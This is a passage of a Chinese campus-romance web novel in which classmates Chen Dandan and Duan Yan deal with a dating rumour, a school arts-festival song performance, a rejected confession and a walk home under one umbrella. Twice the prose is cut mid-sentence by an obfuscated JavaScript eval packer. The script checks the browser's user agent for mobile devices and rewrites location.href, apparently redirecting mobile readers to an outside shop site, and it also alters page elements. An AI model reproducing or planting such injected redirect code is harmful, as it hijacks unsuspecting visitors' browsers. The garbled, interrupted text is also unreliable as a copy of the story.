应航转过头,看见班上平日里比较调皮的周立阳捂住肚子站在教室前门口,这捂住肚子的动作,和方才俞秉文双手交叉放于腹前的动作相似度高达99%。鉴于周立阳和俞秉文关系挺好,他有理由相信,周立阳这小子和俞秉文是一起去的小卖部。 于是他冷笑一声:“这是吃饱了?” 俞秉文:“……” 这是在内涵我还是在内涵周立阳? 因为肚子不舒服刚从厕所出来,腿都蹲软了的周立阳:“??” 航哥这是什么意思? 他不理解。 这时,陈丹丹身后的某人朗声接话:“老师说的对!”声音里夹杂着若有似无的笑意。 陈丹丹忍俊不禁,低下头的刹那笑出声。 全班同学:“哈哈哈哈哈哈!!” 周立阳:段哥在应和什么?大家又都在笑什么?! 下课的时候,俞秉文从桌兜里掏出一包干脆面扔给周立阳,又把棒棒糖放到段言的桌子上,苦哈哈地道:“段神,我可是为了你被航哥内涵了一通,你可得补偿我。” 段言撕开一根荔枝味棒棒糖外包装,慢条斯理地反问:“难道不是愿赌服输外加笨手笨脚吗?” 俞秉文:“……反正我也是为了给你买零食,你得答应我,这周末布置的作业借我抄一下。” 段言咬着棒棒糖,心情颇好地答应了,丢给他一包薯片。 俞秉文把薯片放回去,随意地道:“不想吃青柠味的薯片,给我根棒棒糖呗,好久没吃了,不知道现在什么味儿。” 以他和段言的关系,肯定不会被拒绝的,俞秉文自信地想。毕竟段言不论带了什么吃的,都是随便他吃。 他意思意思地说了一下,准备等段言一同意,他就拿一根棒棒糖尝尝。 万万没想到,他等来了段言的一句:“不行。” 俞秉文:“为什么?” 难道他们俩的友情已经走到了尽头? 段言把棒棒糖放进桌兜里,悠悠然道:“这不是给你的。” 俞秉文势必要打破砂锅问到底:“那是给谁的?” 究竟是谁,夺走了他在段哥心目中除亲人以外排行NO.1的位置?!可恨,这是要跟他抢夺第一个抄段哥作业的名额啊! 段言很轻地笑了一声:“喂兔子。” 俞秉文的脑子里有很多个问号,“兔子能吃棒棒糖吗?” 段言笑而不语。 …… 兔子并没有接收他的投喂。 陈丹丹心里清楚,段言给她分享零食只是因为大方和习惯。他从小就对朋友大方,会请花光零花钱的她吃零食,会在父母给他带回来进口零食后分享给小伙伴们。现在也一样,比如说好的她请她吃面皮,反而是他付钱,比如他每次从小卖部买回来的吃的都会和她、俞秉文等人分享。 所以,她对于他来说,和其他人并没有什么不同, 以前陈丹丹在意这一点的时候,还能安慰自己:这样也很好啊,起码他也不会对别的女孩子特别,起码你们是朋友和前后桌,近水楼台,怎么也比其他女生更有机会,捡笔、借橡皮、讲物理题、偶尔加入他和俞秉文的聊天,只要有心,她能轻而易举地和他产生一次次小交集。 但自从她听见段言和辛彤彤似真似假的绯闻后,她就无比介意这一点。 ——让她暗自欢喜的那些小特别,或许对他算不了什么。他同样可以把这些小特别给予其他女孩,可以让这些特别变得不再特别,就像他加辛彤彤的 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或许潜意识和段言还有一点距离感,无法把他当做分享八卦绯闻的对象,又或者是不太好和本人求证,段言作为绯闻的当事人之一,好几天之后,绯闻才传到他的耳朵里。 俞秉文是为数不多见识到了段言对陈丹丹特别的人,他是一点都不相信所谓的绯闻的,毕竟段言对待辛彤彤,和对待其他的女生没有什么区别。经过他的观察,辛彤彤有时候来找段言的次数太多,他明显有点不耐烦,奈何对方说的是正事,说完了就走,也没说过什么不合时宜的话,就不好太冷漠。 总之,段言面对陈丹丹和辛彤彤,完全是两种不一样的态度。 俞秉文不知道的是,他以为周立阳、路易平他们会告诉段言。碰巧,这两人也以为俞秉文已经告诉了段言。 一个微妙的误会就这样形成了。 还是俞秉文没忍下去,某天早读结束之后,直截了当地询问段言:“你为什么不澄清你和辛彤彤的绯闻?” 他没有注意到段言错愕的眼神,“你不是对陈丹丹挺有好感的吗?现在又和辛彤彤传绯闻,你就不怕陈丹丹听到之后误会了?” 还有一句话他隐去没说。 这种对一个女孩子有好感,却和另一个女孩子传绯闻,还闹的所有人都知道的行为,简直和他妈看电视剧时痛骂的渣男没什么两样嘛! 他倒是想帮忙澄清,但是绯闻的主人公都不澄清,他出面去澄清,显得尤其怪异,所以他听到那些八卦后,也只好不搭腔。 惊讶过后,段言恢复平静,他淡定地回道:“我之前不知道这个传闻,现在知道了。” “啊?”俞秉文张大嘴,“我还以为周立阳、路易平他们早都告诉你了。” 段言平静道:“大概他们也以为,你早都告诉我了。” 俞秉文:“……” 没想到搞了这么个乌龙出来。 他有点不太好意思:“需要我帮你澄清吗?” “不用。” 隔天就是艺术节,艺术节之后,他会自己澄清。 段言太清楚这种绯闻的威力,传出这种绯闻,意味着熟悉的、不熟悉的同学都会有意无意地拿绯闻的男女主角起哄、开玩笑。 而他,无意成为这种八卦绯闻的男主角。 21. 二十一颗青梅 隔天就是艺术节,这几天的音乐课、美术课、体育课乃至部分休息时间,都被大家用来排练演出了。 彩排的时候,同学们表现的尤其好,航哥还表扬他们,说他们“架子鼓和长笛安排得格外巧妙,有种画龙点睛般的感觉”。 嗯,来自数学老师的夸赞就是这样的。 艺术节当天,陈丹丹和班上的女生一起来到学校附近的彩妆工作室。 这间彩妆工作室是副班长的亲戚开的,刚开始说的免费给他们化妆,就当支持他们班演出了,大家没同意,最后商议的是给她们打六折。男生的妆相较女生而言就简单许多,为了避免扎堆化妆排不开时间,其中几个男生的妈妈自告奋勇帮男生化化妆。 彩妆工作室里,几个化妆师同时开工,很快就轮到陈丹丹。 她听化妆师姐姐的话,一会儿闭眼,一会儿眼睛向上看,一会儿眼睛向下看,折腾了好一会儿,终于化完了。 陈丹丹眨眨眼,看向镜子里的自己。 ……看的不是很清晰。 旋转椅离化妆镜有点远,陈丹丹又没戴眼镜,只能从镜子里看见模糊的面孔和三三两两的人影,看不清晰自己的脸被画成了什么样。她索性放弃,准备借用一下祝思倩的小镜子。 等她站起来,将化妆的位置让给其他女同学时,她听见周围不断传来“哇!好漂亮!”的声音。 陈丹丹找着祝思倩的时候,她还在后面排队等化妆,一见到她,祝思倩立刻惊喜道:“哇塞——!丹丹,你好漂亮啊!” 陈丹丹这才意识到,刚才的那些惊叹声可能都是对着她说的。她不自在地用手指碰了碰脸颊,“真有那么好看?” 超级超级好看! 眼前的女孩子头发高高挽起,额前仅有一点细碎的刘海,为了贴合校园艺术节的主题和他们班的节目,脸上的妆容不怎么浓,粉色的眼影格外适合她,长而浓密的眼睫毛向上翘起,淡淡的腮红晕染在面颊上,整个妆容恰到好处地将她温柔可爱的外貌特质放大。 如果说陈丹丹平时的外貌属于特别好看的程度,那么此刻就达到了格外让人惊艳的程度。 祝思倩从包包里掏出小镜子给她,“你自己看,美死了都!” 陈丹丹接过小镜子,慢慢观察镜子里的自己,须臾,她露出满意的笑容,“比我想象中好看。” 在她的记忆中,以前参加学校的演出类节目,都会被化上很浓的妆容,嘴唇暗红暗红的,眼影鲜红鲜红的,脸颊更是红的跟猴子屁股似的,化完妆之后她都不认得自己长什么样了,以至于她一度认为自己不适合化妆。原来她只是不适合化太浓的舞台妆。 祝思倩抱住她的胳膊:“是吧?我也这么觉得。” 祝思倩当初听班上个别女生说过陈丹丹的坏话,还是和她成为同桌之后才和她成为好朋友的。当然,她这个颜狗先是拜在她的美貌如花上,然后才是被她的温柔可爱和真诚打动,发现她只是不爱主动和别人说话而已,实则人很好相处的。 她从上往下打量了陈丹丹一遍,连衣裙是班上统一采购的,按照身高体重分了码数。陈丹丹换上的连衣裙肩宽、袖长、裙摆长度都很合适,不同的是,这条连衣裙被她穿出来之后,格外显身材。 陈丹丹感受到她的眼神,睁大眼问:“怎么了?” 祝思倩被她这副小白兔的模样可爱到了,想伸手掐掐她的脸,手伸到一半,反应过来她脸上还有妆,悻悻地收回手,“没怎么,轮到我去化妆啦!” 陈丹丹“哦”了一声,从包包里掏出她昨晚翻出来的MP4。去年暑假,表姐拥有了全新的MP5,就背着林爱萍他们把MP4淘汰下来给她用了,当时表姐笑嘻嘻地拍拍她的肩膀,“丹丹你放心啦,我们这么多年的感情,我肯定站在你这一边。” 戴上耳机后,楚青山的新歌在耳边播放。 旋律太悲伤了,下一首。 听了无数遍的、熟悉的前奏奏响,陈丹丹想切到下一首,想想等会儿就要演出,就当做准备好了,于是任由这首歌继续播放。 前奏过后,段言歌声在她耳朵边响起,是每听一次都会让她惊艳的程度。 “蝉鸣在耳边响起 青春它永不凋零 回忆校园的美景 是我们大笑又肆意 ……” 等待其他人化妆,果然有点无聊,还好带上了MP4。陈丹丹跟随着音乐的旋律摇晃身体时,如是想到。 …… 华兴中学在市区中心位置,绝大部分面积都用于教学楼、操场、实验楼等地方,没有额外的空间留给艺术节的舞台。按照惯例,这次的艺术节安排在了距离学校不远处的歌剧院。 后台。 高二(16)班的同学们站在一起,不少男生盯着对面的女生看,窃窃私语。 “文艺委员好漂亮啊!” “你不觉得陈丹丹更好看吗?以前就觉得她漂亮,没想到这回美出了新高度。” “就是!不愧是我们班的班花。” “谁评的班花?我怎么不知道?” “嘘,你小声点。我们几个私底下评的,人家心里只有学习,别去打扰人家。”说话的是高一一入学就和陈丹丹分在同个班的男同学。 “这谁看不出来?我老早就觉得陈丹丹长的特好看了,可惜高冷的很,不怎么搭理我们,平时也不爱说话。” 俞秉文用胳膊肘碰碰段言,用眼神示意他:看吧,这么多人喜欢你的小青梅,还不看紧点? 无聊。 段言没好气地斜他一眼,“有这替我操心的功夫,还不如再复盘一下你昨天错了两个音的笛子。” 俞秉文讪讪一笑:“那是意外,意外哈。” 节目顺序是学校根据每个班报来的节目类型进行安排的,并且根据前几天的彩排情况进行了细微的调整。 高二(12)班的诗朗诵结束之后,立刻轮到高三(16)班的同学上场。 陈丹丹和其他同学站在幕布后,深吸一口气,等待舞台上方的主持人说完串场词。 “感谢高二(12)班的同学们带来精彩的诗朗诵,再次把掌声送给他们!……席慕蓉曾经说过,‘青春的美丽与珍贵,就在于它的无邪与无暇,在于它的可遇而不可求,在于它的永不重回。’青春之花,一生只盛放一次,唯有奋斗,方能让青春绽放出更美的色彩!下面请欣赏高二(16)班带来的歌曲《青春之夏》!” 舞台突然变黑,舞台下方各个年级的同学都在小声议论。 “高二(16)班是火箭班诶,一群书呆子能表演个什么出来?”某个平行班的男生轻蔑地说。 如果比学习,他承认火箭班的同学厉害些,但要是比这些“不务正业”的艺术表演或者体育比赛,其他同学肯定能碾压这群死读书的学霸。 更别提前几个节目里有穿着长袍说相声的逗比同学,有穿着嘻哈服跳街舞燃翻全场的同学,火箭班要演唱歌曲,这平平无奇的节目形式很难让人有所期待。 他左边的女同学不服气地说道:“你这是嫉妒人家吧?我发小就在这个班,人家不止学习好,吉他、钢琴和长笛也样样擅长,这次的节目肯定不差。” “你看过他们的彩排?” “没。”学校担心过长时间的彩排会影响他们的学习时间,于是几个班一组,分组分时段进行彩排,他们班和16班不在一组,自然不清楚对方的彩排情况。 “切~那你说什么?搞笑死了!” “哼!看看不就知道了!” 高二年级的同学更多是对火箭班的学霸们感到好奇,而高一的学弟学妹们则是纯纯对节目本身好奇。 “《青春之夏》?这是个什么歌?我怎么没听过。”坐在侧边的高一女生摸摸耳朵,怀疑自己听错歌名了。 “我也没听过。”她身边的女生道。 “巧了,我也没听过。”前方转过来的一个女生笑道。 就在这时,舞台灯光骤然变亮。 一段轻快优美的钢琴前奏响起,舞台下方的同学们立刻被攫住了视线,目光不由自主地被台上穿着黑色正装,沐浴在灯光下弹钢琴的少年吸引。 方才还在小声说话的女生们齐齐盯着台上帅到难以形容的少年,安静了片刻后,坐在座椅上兴奋起来。 “靠——好帅啊!他叫什么名字?” “这就是我之前给你说过的段言学长啊!” “啊啊啊啊早知道这么帅,在你告诉我的那天我就该去他们教室门口晃一圈的!!” 陈丹丹正对着下方的一排排脑袋,呼吸有点发紧,她几乎是下意识地偏了偏头,看向不远处正在闪闪发光的少年。他端坐在钢琴前,沉稳又放松,脸上还挂着淡淡的笑容。 那是他在做自己真正喜欢的事情时才有的神色。 陈丹丹发现,在真正的舞台上沉浸于演奏的段言,比平时练习时还要耀眼。 还要耀眼100倍。 并且,他比自己以为的要更加喜欢和享受舞台。 练习了这么多回,陈丹丹已经形成了条件反射,一到女生演唱的部分,她立刻跟上节奏投入到演唱中。 此时,台下的同学们都沉醉在这首歌曲里,他们没有想到,这首名字平平无奇的《青春之夏》会这么好听,台上的“书呆子们”演绎这首歌曲时,会这么动人。 就连那些之前一直在聊天、打盹、发呆的同学们,都不自觉地坐直身体,全神贯注地欣赏这个舞台。 尚且没有人意识到这首歌是高二(16)班的同学们自己创作的。 直到中间的rap进入拍子—— “六点钟的起床闹铃 航哥已经在门口瞪你 做不完的练习题 白衬衣出课堂小测的频率 Ceres的onebyone响起 我的噩梦再次来临 还有什么我想不起 oh是分班考试快要光临~” 有音调有节奏的一段rap,不突兀,反而有点抓人和洗脑。 “哈哈哈哈哈哈哈哈!”舞台下方有同学没忍住笑出了声,惊觉声音太大,赶忙捂住嘴,肩膀却是剧烈地抖动起来。 他旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509399|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的男同学也在白衬衣带的班里,他正举着瓶矿泉水吨吨吨地喝,在听到“白衬衣出课堂小测的频率”这一句时,嘴巴里的水喷涌而出,如同玩具水枪一般,水扫射而出,直接喷了座位前方的同学一头水。 高二平行班的学生听到这段rap时,也被学霸们的创意和大胆惊呆了! “老子真是服气了,这群学霸真他妈敢唱啊。” “我也要回去把这首歌学会,然后把这段rap替换成我们的老师,嘿嘿!” “好主意!” 所以多年之后,这首歌在华兴中学乃至整个市的中学里,传唱度牢牢占据了第一名的位置,除了歌曲本身非常好听之外,还在于同学们可以自行填补rap部分的词来调侃老师和学校,起到另类的解压效果。 而这时的老师们并不知晓这一点。 Rap循环了两遍,第二遍的时候,前排坐着的校领导和不少老师都在互相讨论。 “你们班的同学很有创意啊。”白衬衣笑眯眯地对应航道。毫无疑问,他早就听说过自己有个“白衬衣”的外号。 “这不也是你教出来的学生吗?”应航爽朗一笑,“而且这些歌词都是给你们提前看了的,你们不也没什么意见吗?” 白衬衣好气又好笑道:“那也不是一丁点意见都没有的,只不过看他们快要考试了,学习压力大,所以放他们一马。” 坐在他们旁边的化学老师也凑近,打趣道:“这些孩子都挺有趣的,就是可惜了,没把我写进歌里。” 应航:“……” 白衬衣:“……” 被学生们写进歌里面调侃,难不成还是一件很光荣的事情? 如果这话被高二(16)班的同学知晓,他们必然会大喊:化学老奶奶,您都一头白发快要颐养天年了,谁敢调侃您啊?万一把您气出个好歹来,岂不是罪过了? 化学老奶奶瞅见应航和白衬衣的表情,了然道:“你们是不是觉得这群孩子有点顽皮,还拿歌曲来编排老师?” 应航没这么想:“这倒没有,只是没想到他们胆子挺大的,在rap部分调侃了好几位老师。” 白衬衣也不承认:“我就是觉得这群孩子如果有编歌曲的功夫,还不如拿来学习。” 化学老奶奶年龄大,阅历足,看待很多事情更加包容,她扶了扶老花镜,和蔼地笑了,“这何尝不是在表达对你们的亲近和喜爱呢?再过些年,你们说不定还会怀念这首歌。而这群学生,说不定也会在未来的某个时刻想起这首歌,想起他们在高中校园的时光,也想起教过他们某门课程的你们,多么有趣。” 应航和白衬衣都若有所思地点点头。 很快,副歌部分的旋律将他们重新拉回到歌曲里。不得不说,这群学生的演奏水平和编曲水平都出乎意料地不错,应航居然觉得这首歌比很多流行歌曲还要好听。听着听着,他竟不自觉地跟着副歌部分哼起来。 连老师都如此投入,学生们就更不用说了,不知道从何时起,有学生私藏的荧光棒正大光明地挥舞在人群中,随着音乐的旋律左右摆动。 都有股子演唱会的味道了。 等到整首歌曲唱完,霎时间掌声雷动,与之前敷衍的、礼貌性的、鼓励意义的掌声完全不同。 “安——可——!安——可——!” “再来一遍!再来一遍!” 先是几嗓子响起,随即是此起彼伏的“安可”和“再来一遍”。 陈丹丹作为高二(16)班的一份子,与有荣焉。 她莞尔一笑,视线不经意间和段言对上,四目相对间,陈丹丹嘴角的微笑不自觉地扩大,她跟着周围的同学一起,在观众们的掌声中弯腰谢幕。 下台阶的时候灯光有些暗,人多,有点混乱。同学们步履匆匆,不知道是谁不小心撞到了陈丹丹。 她穿着带跟的小皮鞋,一下子没站稳,正要往旁边倒去,一只劲瘦有力的胳膊牢牢地抓住她的手腕,等她站稳后才松开。 陈丹丹一声惊呼咽回嗓子里,她拍了拍怦怦直跳的胸口,转过头道谢:“谢谢你。” 看见来人后,她声音低了几度,叫出他的名字,“段言。” 他颔首,“不客气。”然后跟在她旁边,一起走完这段通向后台的路。 接下来的节目有点无聊,黑暗中,有的同学偷偷溜掉,祝思倩坐在靠近走廊的位置,问陈丹丹要不要也趁机溜掉。 “你先溜,我再等等。”陈丹丹四处张望了下,小声道。两个人一起溜掉,未免有点太过明目张胆。 又一个歌曲串烧节目结束后,陈丹丹弓着腰,快步从后门溜出去。 这家歌剧院的绿化做得特别好,郁郁葱葱的树木覆盖出一片又一片阴影,相邻的小花坛中间摆着数个长椅。 陈丹丹正要从花坛旁穿过去,一道熟悉的女声阻拦了她迈出的脚步。 “段言,我喜欢你,你要不要当我男朋友?” 这道声音最近出现的频率非常高,以至于陈丹丹在听到前两个字的时候,就确认了声音的主人。 ——他们班的文艺委员,辛彤彤。 22. 二十二颗青梅 原来辛彤彤和段言还没有在一起,班上的传言,也只是传言而已。 打扰别人表白是一件不道德的事情,偷听别人表白,也不是一件光彩的事。陈丹丹清楚这个道理,但脑子里清楚是一回事,实际的行动又是另一回事。她无法转身离开,双脚就像被钉子钉住一样,站在原地动弹不得。 她太想知道段言的回答。 一阵沉默后,她听见清淡的嗓音道:“谢谢你的喜欢,不过我现在没有谈恋爱的打算。” “我可以等你。”女孩子似乎鼓足了勇气,声音的音调都提高了。 “不必。” “为什么?” 恍惚中,陈丹丹听见少年叹了一口气。 “非要我说的那么直白吗?因为我不会喜欢你。” 又是几秒钟的沉默。 旋即,女孩子不甘地问道:“那为什么传出我们在一起的绯闻之后,你不澄清呢?我还以为你也是喜欢我的。” “哦,还没来得及。”段言声音清冷,带着不近人情的冷漠,“我昨天才得知了不切实际的传闻,正等着今天艺术节后澄清。” 最后一丝幻想被打碎,勇敢表白的女孩子哭着跑远了。 …… 听到了段言的回答之后,陈丹丹心情复杂地站在公交站牌前等2路车,就连突如其来的小雨都没能中断她复杂的心理活动。 段言说他不会喜欢辛彤彤。 可是他不会喜欢漂亮聪明的辛彤彤,难道就会喜欢学习成绩不如辛彤彤好、性格不如辛彤彤讨人喜欢的陈丹丹吗? 2路车很快到站,陈丹丹跟在几个路人后面上了车,找到靠近车窗的位置坐下。 公交车开动前,一个熟悉的身影三两步跨上公交,利落地刷了公交卡,随后丝滑地在陈丹丹身边坐下,嘴角轻轻扬起,主动和她打招呼:“好巧。” 陈丹丹也弯了弯唇。 如果是平时,她可能会找点话题和段言聊天,可是她方才不小心偷听到了他和辛彤彤的对话,还是有那么点心虚,眼神飘忽了一圈不知道往哪放,也不知道该说些什么。 陈丹丹手在抱着的书包上摸了摸,适时地想起她带了MP4。于是她从书包里掏出MP4和白色耳机。 一只耳机塞进左耳里,顿了顿,她礼貌性地递过去另一只耳机,问身旁坐着的少年:“要听吗?” 他接过耳机塞进右耳里,用行动回答她的问题。 陈丹丹在MP4上调了一下,经典的前奏响起,随后耳机里传来周杰伦独特的嗓音。 “故事的小黄花, 从出生那年就飘着, 童年的荡秋千, 随记忆一直晃到现在, ……” 很奇怪,明明是下雨天,她却眼睛都不眨地选择了周杰伦的《晴天》。 漫天雨幕里,安静的公交车厢仿佛是一个不受打扰的、独立的小空间。陈丹丹偏过头,只看见少年安静的侧脸。 如同漫画人物一般的,长长的眼睫毛和微微翘起的唇角。 仿佛和周围的世界都不在一个次元。 两个人安安静静地听歌,大半都是周杰伦和楚青山的歌曲,比如《不能说的秘密》《蒲公英的约定》《夜曲》《初恋那天》,偶尔夹杂着几首五月天、陈奕迅他们的歌。 陈丹丹和段言几乎没有言语上的交流,他们一人分享一只耳机,愉快地听着耳机里的音乐,一点都不觉得尴尬。 外面的雨越来越大,啪嗒啪嗒地捶打着公交车,充满节奏感的雨声仿若是在给耳机里的音乐伴奏。陈丹丹视线移向窗外,有了欣赏雨景的兴致。这样的时光,像是回到了很多年前两个人一起玩耍的日子。 那样单纯,那样美好。 只是单纯美好的时光总会过去,他们乘坐的2路公交车总会到站。 2路车在段言要下的前一站停下,段言从斜挎包里摸出那把他用惯了的黑色雨伞。想到上次便利贴上的某句话,他摘下耳机,转过头交代陈丹丹:“这把伞你待会儿拿上,我家离公交站很近,几步路就到了。” 陈丹丹也摘下耳机,睁大眼睛望着他:“可你还是会淋到雨啊。” “几步路的距离而已,年轻人么,淋点雨没关系的。”段言满不在乎地笑了笑,坚持把折好的雨伞递给陈丹丹,雨伞的伞柄那头对着她,一副她不接过去他就一直举着伞的架势。 陈丹丹没有接伞,套用他的话,“我也是年轻人,淋点雨没关系。” “是吗?”段言挑眉,面露怀疑地打量了她的细胳膊细腿,“可是我说的年轻人是身体素质好的年轻人,你这小身板——” 后面的话在陈丹丹逐渐锐利的眼神中隐去,她小声咕哝:“瞧不起谁呢!” 被段言耳尖地听到,侧过头看她一眼,眼里意味明显:瞧不起你这个小身板。 窗外的景色随着公交车的行驶不断变幻,熟悉的街景提醒段言应该提前起身准备下车了。他站起身的同时把雨伞丢给陈丹丹,“我先走了。” “好啊。”陈丹丹这回答应得干脆,段言也就放心地往公交车后门走。 就在这时,前方有人横穿马路,公交车猛地一个急刹车,段言在握住抓杆的同时,感觉到有人往他后背撞了一下,伴随着一声熟悉的“哎哟”。 他偏过头,视线稍微往下,就见陈丹丹正揉着额头,一副被他坚硬的后背撞伤的模样。 “你不是还有几站下车?”他悠悠然道,“所以你这是……故意碰瓷?” 陈丹丹被安上碰瓷的名头也不着急,顺着他的话道:“对,一口价50块,不然我立马躺下来讹你。” “你讹。”段言满脸无所谓。 陈丹丹:“?” “如果你能躺下来的话。”段言慢悠悠地补完后半句话。 陈丹丹环视一圈人挤人、空气稀薄的公交车。别说躺下来,能有个落脚的地方,不被挤成肉饼都不错了,“……” 又是被他噎住的一天。 陈丹丹还没想好嘲讽回去的话术,公交车就停下了。后门打开后,段言正要抬脚下台阶,身后的女孩子扯了扯他的衬衣袖子。 段言意会到她的意思,顿住脚步,让她先下车。 陈丹丹越过段言,边走边往后张望,发现没有飞速而来的自行车或者摩托车,这才放心地跨出公交车。同一瞬间,她撑开手里握着的黑色雨伞。 “下来吧。”陈丹丹扬起灿烂的笑脸,掌心向上,手指往内挥动几下。 段言觉得她这个手势像是在召唤小狗,不过看着她那双亮晶晶的大眼睛,还是依言踏出公交车。 陈丹丹举高雨伞,他顺势钻入雨伞下,这把黑色雨伞挺大的,将他们两个人完完全全笼罩在其中。 公交车重新启动的瞬间,段言低头问她:“你怎么提前下车了?” “嗯……”陈丹丹看着脚尖,在段言的视线里变成了一个毛绒绒的小脑袋,“我这个人呢,还是比较知恩图报的,看在你把雨伞借给我的份上,我就勉为其难地撑你的伞把你送回家好了。” 这样他们两个都不会淋到雨。 段言不意会听到这样的回答,一时半会儿没说话。 “反正今天溜得早,再走两站路也用不了多久。”陈丹丹把伞举高,以免挡住段言的视线,“快走吧~” 段言轻声应道:“好。” 下雨天因为身边陪着的人而不再讨厌,路边来往的车辆在公路上溅起水花,人行道上有小女孩举着可爱的黄色鸭子雨伞,身侧清新好闻的气息顺着一丝热度被陈丹丹感知。 一切都很美好。 唯一不好的是,这把大伞有点重。走了几步路,陈丹丹觉得手有点酸,不过她想起她刚刚信誓旦旦说过的话,只得咬牙坚持住。 ——我就勉为其难地撑你的伞把你送回家好了。 段言尚且没有发现她的窘境。 他迈着比平时慢得多的步伐,和陈丹丹一起行走在雨幕中,脚从地面离开的那一秒钟,雨水从地面溅起、再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“比我矮有什么不好,还可以享受我免费的撑伞服务呢!”陈丹丹仰起头瞪他,鼓了鼓脸。 大雨瓢泼下,挺拔的少年撑着黑色的雨伞,尽管大伞足以容纳两个人,但雨伞还是朝着少女的方向微微倾斜。 “免费的大多不靠谱,你忘记你当时用伞柄敲了我脑袋好几次的事情了?” “……咳咳,伞太重了没拿稳。” “所以还是让我来比较靠谱。” 这话陈丹丹没法反驳。 走到段言家楼下,他把雨伞交到陈丹丹手中,陈丹丹握住伞柄,那里带着点滚烫的温度,是段言刚刚握住的地方,“那……我走啦?” “等一下,”屋檐下,站在她对面高高大大的少年抿了抿嘴角,看着有些不自在,“你有听到班里最近的传闻吗?” 陈丹丹瞬间反应过来,“你是说你和辛彤彤的?” “嗯,是假的。” 陈丹丹弯了弯唇,“我知道,不过……你怎么突然对我解释这个?” “突然想起来了。” “哦……那我走啦?明天见!”陈丹丹挥挥小手。 段言点点头,飞快地转过身冲上了楼。 陈丹丹站在原地好一会儿,两眼弯弯地看着段言离开的方向。她的眼睛亮晶晶的,是很久很久没有出现过的光彩。 独自回家的路上,陈丹丹想,她好像明白为什么她第一首放的是周杰伦的《晴天》了。 因为。 有某个人陪着的下雨天。 对她来说,就是晴天。 而她不知道的是,当她撑着段言给她的那把黑色雨伞走进她家的单元楼之后,与她相隔了十几米远的少年撑着从家里玄关处随手拿走的藏青色雨伞,站在逐渐变小的雨里,也微微笑了。 “明天见。”他回应道。 23. 二十三颗青梅 吃完晚饭后,陈丹丹锁上卧室门,开心地在房间里蹦来蹦去,然后站在床前往后一蹦,整个人倒在床上,开心到飞起。 她拉开抽屉,取出手机翻到通讯录,激动地和祝思倩打电话,“倩倩倩倩,段言又把他的雨伞借给我了。” 要是以前,祝思倩指不定就磕起来了,现在一想到段言和辛彤彤的绯闻,她就怒从心起。依照她的观察,段言的绯闻十有八九是假的,毕竟他面对辛彤彤时也没多热情,态度还不如对丹丹的一半。更别提他和丹丹是青梅竹马,情谊自然不同于其他。 可既然绯闻都闹出来了,他还不澄清,谁知道是不是又有别的想法?哼,一边对她的好朋友那么好,一边又和别的女生传绯闻。 眼下朋友好不容易活泼了一点,她根本舍不得泼凉水。“嗯嗯,然后呢?”祝思倩温柔地问道,心里则把段言大卸八块。 “然后我撑着他的雨伞把他送回家啦!”陈丹丹的声音甜甜的,说完又赶紧补充,“不对不对,准确来说,我就撑了几分钟的雨伞,因为他太高了嘛,我撑那么高很费力的,他就把伞接过去了。” “哦。”祝思倩心想,算他还有点风度。 两个人聊了几句,祝思倩小心翼翼地问:“那他有跟你解释和辛彤彤的绯闻吗?” “解释啦。” “祝思倩你给我出来!” 手机里的声音和手机外的声音同时响起,她妈妈的声音更大,而且听起来怒气冲冲的,吓得祝思倩手机都掉床上了。 祝思倩没有听清楚陈丹丹在电话里说的话,放低声音说了句“等会儿聊,我妈在叫我”之后就挂断电话,识时务地小跑出房间。 …… 今天是艺术节,学校大发慈悲,没有给同学们安排晚自习,所有节目演出完毕后,评委们的打分也出来了。 高二(16)班以绝对压制第二名的高分取得了本次艺术节当之无愧的第一名。 姚一哲一直没走,就是等着最后有可能到来的上台领奖环节。晚上一回家,他立刻把这个好消息分享到班群里。 高二(16)班班群: 【不辞辛苦好班长】:我们班艺术节第一!! 【不辞辛苦好班长】:[奖状照片] 【周立阳】:牛逼——!(喊破音) 【曾智轲】:牛逼——!(喊破音) 下面是一排排紧跟其后的、复制粘贴的“牛逼——!(喊破音)” 过了好一会儿,周立阳拿班长姚一哲开涮。 【周立阳】:班长都上台领奖了,这会儿不发表个讲话啥的? 【不辞辛苦好班长】:[滚gif.] 【不辞辛苦好班长】:不过说真的,感谢陪我们排练的音乐老师(不在这个群里,咱们下次上课的时候感谢),感谢作词、演奏、演唱的各位同学,感谢作曲编曲人段言(段神太牛了!),感谢各种协调联系的文艺委员辛彤彤。 有几个男生看见段言的名字和辛彤彤的连在一起,不约而同地在群里起哄,意味不明的“哟~”“哦~”“哇哦~”在班群里刷屏。 俞秉文看见群消息后,立刻给段言打电话,“你看到班群里的消息了没?” “没,我在外面跑步。”电话那头传来喘息声。 俞秉文脱口而出:“原来你还有夜跑的习惯?”话音一落,他就察觉到话题歪了,赶紧掰回来道,“你快看看班群,有人在起哄你和辛彤彤。” 段言单手拿下脖颈挂着的白毛巾,擦了擦额头滴落的汗珠,声音冷静:“知道了。” 他本来也打算今晚澄清的。 …… 陈丹丹想着今晚大家可能会在群里讨论艺术节排名,所以准备登陆Q.Q看看班群。她的手机是长辈淘汰下来的翻盖式,最常用的功能不过是短信和电话,外加播放歌曲、玩贪吃蛇等小游戏。 趁着这会儿没人用书房,她赶紧走进去把门关上,快速打开电脑,登录Q.Q。 班级群的头像在电脑屏幕右下角闪动,她移动鼠标点开,映入眼帘的是最新消息。 高二(16)班班群: 【dy】:不要随意拿女同学开玩笑。 【dy】:也不要拿我开玩笑,男生的名誉也是很宝贵的。 陈丹丹摸摸唇角,弧度是向上翘起的。 